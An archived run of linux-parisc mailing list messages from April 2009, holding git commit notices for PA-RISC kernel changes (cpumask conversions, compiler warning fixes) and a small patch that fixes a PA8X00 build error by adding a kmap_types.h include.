	id 1LpAqJ-0002Kt-2Q; Thu, 02 Apr 2009 00:31:39 +0000
Content-Disposition: inline
In-Reply-To: <20090121143130.GC27998@bombadil.infradead.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1452
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1452>

On Wed, Jan 21, 2009 at 09:31:30AM -0500, Kyle McMartin wrote:
> Dunno why it's broken, but this stuff is in git. Let me know if I missed
> anything.
> 

To answer my own question, it's because I was a muppet and didn't push
to the master branch as well as the parisc branch.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [git] parisc: Changes to ref refs/heads/master
Date: Wed, 1 Apr 2009 20:33:56 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20090402003356.GI1443@bombadil.infradead.org>
References: <200904020013.n320DrDU010176@hera.kernel.org> <a4423d670904011720y52fbcd29j1831b669d751818a@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238632456 32153 80.91.229.12 (2 Apr 2009 00:34:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2009 00:34:16 +0000 (UTC)
Cc: Kyle McMartin <kyle@hera.kernel.org>, linux-parisc@vger.kernel.org
To: Alexander Beregalov <a.beregalov@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 02 02:35:34 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LpAu5-0002iG-OM
	for glpp-linux-parisc@gmane.org; Thu, 02 Apr 2009 02:35:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752702AbZDBAeA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Apr 2009 20:34:00 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1760410AbZDBAeA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 1 Apr 2009 20:34:00 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:45096 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752702AbZDBAeA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Apr 2009 20:34:00 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LpAsX-0002Ve-16; Thu, 02 Apr 2009 00:33:57 +0000
Content-Disposition: inline
In-Reply-To: <a4423d670904011720y52fbcd29j1831b669d751818a@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1453
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1453>

On Thu, Apr 02, 2009 at 04:20:49AM +0400, Alexander Beregalov wrote:
> 2009/4/2 Kyle McMartin <kyle@hera.kernel.org>:
> > New commits:
> 
> Thanks Kyle.
> 
> Do you have objections against patch
> http://patchwork.kernel.org/patch/13039/ ?
> 

Nope, sorry, processing backlog tonight...

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/master
Date: Thu, 2 Apr 2009 01:34:58 GMT
Lines: 63
Approved: news@gmane.org
Message-ID: <200904020134.n321Yw2A008380@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1238636113 6949 80.91.229.12 (2 Apr 2009 01:35:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2009 01:35:13 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 02 03:36:31 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LpBr3-0004RO-La
	for glpp-linux-parisc@gmane.org; Thu, 02 Apr 2009 03:36:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750886AbZDBBfE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Apr 2009 21:35:04 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754319AbZDBBfE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 1 Apr 2009 21:35:04 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:45078 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750886AbZDBBfC (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Apr 2009 21:35:02 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1+++/6WTUlTkP4vxwI0fmPlspmhtbLLEUI@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n321YwUw008384
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Thu, 2 Apr 2009 01:34:58 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n321Yw2A008380
	for linux-parisc@vger.kernel.org; Thu, 2 Apr 2009 01:34:58 GMT
X-Virus-Scanned: ClamAV 0.93.3/9196/Wed Apr  1 19:38:26 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Thu, 02 Apr 2009 01:35:00 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1454
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1454>

New commits:
commit 91400ac365da35b18036b46bdda27ddbcee4a663
Author: Helge Deller <deller@gmx.de>
Date:   Wed Feb 18 22:12:21 2009 +0000

    parisc: fix "make tar-pkg"
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit c18b4608958ff42ce9a1a55b0a6f40b714f47286
Author: Alexander Beregalov <a.beregalov@gmail.com>
Date:   Thu Mar 19 10:54:07 2009 +0000

    parisc: drivers: fix warnings
    
    ccio-dma.c:456: warning: overflow in implicit constant conversion
    ccio-dma.c:459: warning: overflow in implicit constant conversion
    ccio-dma.c:1032: warning: unused variable 'j'
    ccio-dma.c:1031: warning: unused variable 'max'
    ccio-dma.c:1031: warning: unused variable 'min'
    ccio-dma.c:1031: warning: unused variable 'avg'
    ccio-dma.c:1403: warning: format '%08lx' expects type 'long unsigned int', but argument 3 has type 'resource_size_t'
    ccio-dma.c:1403: warning: format '%08lx' expects type 'long unsigned int', but argument 4 has type 'resource_size_t'
    ccio-dma.c:1554: warning: format '%lx' expects type 'long unsigned int', but argument 3 has type 'resource_size_t'
    dino.c:822: warning: format '%lx' expects type 'long unsigned int', but argument 4 has type 'resource_size_t'
    dino.c:822: warning: format '%lx' expects type 'long unsigned int', but argument 5 has type 'resource_size_t'
    dino.c:902: warning: format '%lx' expects type 'long unsigned int', but argument 3 has type 'resource_size_t'
    dino.c:902: warning: format '%lx' expects type 'long unsigned int', but argument 4 has type 'resource_size_t'
    asp.c:84: warning: format '%lx' expects type 'long unsigned int', but argument 4 has type 'resource_size_t'
    eisa.c:317: warning: format '%08lx' expects type 'long unsigned int', but argument 3 has type 'resource_size_t'
    eisa_enumerator.c:101: warning: format '%lx' expects type 'long unsigned int', but argument 2 has type 'resource_size_t'
    eisa_enumerator.c:101: warning: format '%lx' expects type 'long unsigned int', but argument 3 has type 'resource_size_t'
    eisa_enumerator.c:191: warning: format '%lx' expects type 'long unsigned int', but argument 2 has type 'resource_size_t'
    eisa_enumerator.c:191: warning: format '%lx' expects type 'long unsigned int', but argument 3 has type 'resource_size_t'
    
    Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit f67d3c83f3f1e6523325628434bf19e5166b39b3
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Wed Mar 25 14:09:10 2009 +0000

    parisc: select BUG always
    
    On Wed, Mar 25, 2009 at 05:02:21PM +0300, Alexander Beregalov wrote:
    > arch/parisc/kernel/traps.c:321: error: 'PARISC_BUG_BREAK_INSN'
    > undeclared (first use in this function)
    >
    > # CONFIG_BUG is not set
    > CONFIG_EMBEDDED=y
    >
    > Is it a reasonable config?
    
    imho, no.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/master
Date: Thu, 2 Apr 2009 01:43:48 GMT
Lines: 61
Approved: news@gmane.org
Message-ID: <200904020143.n321hmK4011043@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1238636639 7893 80.91.229.12 (2 Apr 2009 01:43:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2009 01:43:59 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 02 03:45:18 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LpBzZ-0005Yu-0H
	for glpp-linux-parisc@gmane.org; Thu, 02 Apr 2009 03:45:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752870AbZDBBnw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Apr 2009 21:43:52 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754904AbZDBBnw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 1 Apr 2009 21:43:52 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:57136 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752870AbZDBBnv (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Apr 2009 21:43:51 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1/BSRV82cTuNM2oSo5QKs/L9smtik4v5ic@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n321hmrq011045
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Thu, 2 Apr 2009 01:43:48 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n321hmK4011043
	for linux-parisc@vger.kernel.org; Thu, 2 Apr 2009 01:43:48 GMT
X-Virus-Scanned: ClamAV 0.93.3/9196/Wed Apr  1 19:38:26 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Thu, 02 Apr 2009 01:43:49 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1455
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1455>

New commits:
commit 7cec2ef4a298605b010f1c80041de884e777ea67
Merge: 91400ac365da35b18036b46bdda27ddbcee4a663 9bc181d8d7cb6462de0c315e364780ad275f7c57
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Thu Apr 2 01:43:14 2009 +0000

    Merge branch 'rusty-cpumask-parisc' into parisc

commit 9bc181d8d7cb6462de0c315e364780ad275f7c57
Author: Rusty Russell <rusty@rustcorp.com.au>
Date:   Mon Mar 16 14:19:38 2009 +1030

    cpumask: Use accessors code.: parisc
    
    Impact: use new API
    
    Use the accessors rather than frobbing bits directly.  Most of this is
    in arch code I haven't even compiled, but it is mostly straightforward.
    
    Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
    Signed-off-by: Mike Travis <travis@sgi.com>

commit bd071e1a371d31db243edc4714ff9e8d1ea1309e
Author: Rusty Russell <rusty@rustcorp.com.au>
Date:   Mon Mar 16 14:19:37 2009 +1030

    cpumask: prepare for iterators to only go to nr_cpu_ids/nr_cpumask_bits.: parisc
    
    Impact: cleanup, futureproof
    
    In fact, all cpumask ops will only be valid (in general) for bit
    numbers < nr_cpu_ids.  So use that instead of NR_CPUS in various
    places.
    
    This is always safe: no cpu number can be >= nr_cpu_ids, and
    nr_cpu_ids is initialized to NR_CPUS at boot.
    
    Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
    Signed-off-by: Mike Travis <travis@sgi.com>
    Acked-by: Ingo Molnar <mingo@elte.hu>

commit 91887a362984324e254473e92820758c8e658f78
Author: Rusty Russell <rusty@rustcorp.com.au>
Date:   Mon Mar 16 14:19:37 2009 +1030

    cpumask: arch_send_call_function_ipi_mask: parisc
    
    We're weaning the core code off handing cpumask's around on-stack.
    This introduces arch_send_call_function_ipi_mask(), and by defining
    it, the old arch_send_call_function_ipi is defined by the core code.
    
    We also take the chance to change send_IPI_mask() and use the new
    for_each_cpu() iterator.
    
    Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/parisc
Date: Thu, 2 Apr 2009 01:43:54 GMT
Lines: 61
Approved: news@gmane.org
Message-ID: <200904020143.n321hsRs011078@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1238636645 7924 80.91.229.12 (2 Apr 2009 01:44:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2009 01:44:05 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 02 03:45:23 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LpBzf-0005Yu-9W
	for glpp-linux-parisc@gmane.org; Thu, 02 Apr 2009 03:45:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754904AbZDBBn6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Apr 2009 21:43:58 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755729AbZDBBn6
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 1 Apr 2009 21:43:58 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:57139 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754904AbZDBBn6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Apr 2009 21:43:58 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX18WYamVOiTiJ0rgCsbausivCu+tX1p4Gmo@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n321htKk011085
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Thu, 2 Apr 2009 01:43:55 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n321hsRs011078
	for linux-parisc@vger.kernel.org; Thu, 2 Apr 2009 01:43:54 GMT
X-Virus-Scanned: ClamAV 0.93.3/9196/Wed Apr  1 19:38:26 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Thu, 02 Apr 2009 01:43:56 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1456
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1456>

New commits:
commit 7cec2ef4a298605b010f1c80041de884e777ea67
Merge: 91400ac365da35b18036b46bdda27ddbcee4a663 9bc181d8d7cb6462de0c315e364780ad275f7c57
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Thu Apr 2 01:43:14 2009 +0000

    Merge branch 'rusty-cpumask-parisc' into parisc

commit 9bc181d8d7cb6462de0c315e364780ad275f7c57
Author: Rusty Russell <rusty@rustcorp.com.au>
Date:   Mon Mar 16 14:19:38 2009 +1030

    cpumask: Use accessors code.: parisc
    
    Impact: use new API
    
    Use the accessors rather than frobbing bits directly.  Most of this is
    in arch code I haven't even compiled, but it is mostly straightforward.
    
    Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
    Signed-off-by: Mike Travis <travis@sgi.com>

commit bd071e1a371d31db243edc4714ff9e8d1ea1309e
Author: Rusty Russell <rusty@rustcorp.com.au>
Date:   Mon Mar 16 14:19:37 2009 +1030

    cpumask: prepare for iterators to only go to nr_cpu_ids/nr_cpumask_bits.: parisc
    
    Impact: cleanup, futureproof
    
    In fact, all cpumask ops will only be valid (in general) for bit
    numbers < nr_cpu_ids.  So use that instead of NR_CPUS in various
    places.
    
    This is always safe: no cpu number can be >= nr_cpu_ids, and
    nr_cpu_ids is initialized to NR_CPUS at boot.
    
    Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
    Signed-off-by: Mike Travis <travis@sgi.com>
    Acked-by: Ingo Molnar <mingo@elte.hu>

commit 91887a362984324e254473e92820758c8e658f78
Author: Rusty Russell <rusty@rustcorp.com.au>
Date:   Mon Mar 16 14:19:37 2009 +1030

    cpumask: arch_send_call_function_ipi_mask: parisc
    
    We're weaning the core code off handing cpumask's around on-stack.
    This introduces arch_send_call_function_ipi_mask(), and by defining
    it, the old arch_send_call_function_ipi is defined by the core code.
    
    We also take the chance to change send_IPI_mask() and use the new
    for_each_cpu() iterator.
    
    Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: parisc: fix build when ARCH_HAS_KMAP
Date: Wed, 1 Apr 2009 22:42:21 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <20090402024221.GJ1443@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238640153 14849 80.91.229.12 (2 Apr 2009 02:42:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2009 02:42:33 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 02 04:43:49 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LpCuD-0006Ln-1j
	for glpp-linux-parisc@gmane.org; Thu, 02 Apr 2009 04:43:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752909AbZDBCmX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Apr 2009 22:42:23 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753327AbZDBCmX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 1 Apr 2009 22:42:23 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:48707 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752909AbZDBCmW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Apr 2009 22:42:22 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LpCsn-000856-54
	for linux-parisc@vger.kernel.org; Thu, 02 Apr 2009 02:42:21 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1457
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1457>

From: Kyle McMartin <kyle@mcmartin.ca>

When we build for PA8X00, we define ARCH_HAS_KMAP, which results in
the kmap_types.h include in highmem.h getting skipped...

In file included from include/linux/pagemap.h:10,
                 from include/linux/mempolicy.h:62,
                 from init/main.c:52:
include/linux/highmem.h:196: warning: 'enum km_type' declared inside parameter list
include/linux/highmem.h:196: warning: its scope is only this definition or declaration, which is probably not what you want
include/linux/highmem.h:196: error: parameter 1 ('type') has incomplete type

Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>
---
 arch/parisc/include/asm/cacheflush.h |    3 +++
 1 files changed, 3 insertions(+), 0 deletions(-)

diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index b7ca6dc..7243951 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -97,6 +97,9 @@ void mark_rodata_ro(void);
 
 #ifdef CONFIG_PA8X00
 /* Only pa8800, pa8900 needs this */
+
+#include <asm/kmap_types.h>
+
 #define ARCH_HAS_KMAP
 
 void kunmap_parisc(void *addr);
-- 
1.6.1.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/parisc
Date: Thu, 2 Apr 2009 02:46:05 GMT
Lines: 24
Approved: news@gmane.org
Message-ID: <200904020246.n322k5Ls000528@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1238640380 15227 80.91.229.12 (2 Apr 2009 02:46:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2009 02:46:20 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 02 04:47:37 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LpCxr-0006nW-T8
	for glpp-linux-parisc@gmane.org; Thu, 02 Apr 2009 04:47:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752152AbZDBCqK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Apr 2009 22:46:10 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752870AbZDBCqK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 1 Apr 2009 22:46:10 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:52948 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752152AbZDBCqJ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Apr 2009 22:46:09 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX19hNKQilpVZ8OuTuuP1OQueGf0L+/h0+js@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n322k6sS000529
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Thu, 2 Apr 2009 02:46:06 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n322k5Ls000528
	for linux-parisc@vger.kernel.org; Thu, 2 Apr 2009 02:46:05 GMT
X-Virus-Scanned: ClamAV 0.93.3/9196/Wed Apr  1 19:38:26 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Thu, 02 Apr 2009 02:46:07 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1458
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1458>

New commits:
commit bb7350194130ae6bd3fdec16fe1b7597c1c0bb8d
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Thu Apr 2 02:40:41 2009 +0000

    parisc: fix build when ARCH_HAS_KMAP
    
    When we build for PA8X00, we define ARCH_HAS_KMAP, which results in
    the kmap_types.h include in highmem.h getting skipped...
    
    In file included from include/linux/pagemap.h:10,
                     from include/linux/mempolicy.h:62,
                     from init/main.c:52:
    include/linux/highmem.h:196: warning: 'enum km_type' declared inside parameter list
    include/linux/highmem.h:196: warning: its scope is only this definition or declaration, which is probably not what you want
    include/linux/highmem.h:196: error: parameter 1 ('type') has incomplete type
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/master
Date: Thu, 2 Apr 2009 02:46:11 GMT
Lines: 24
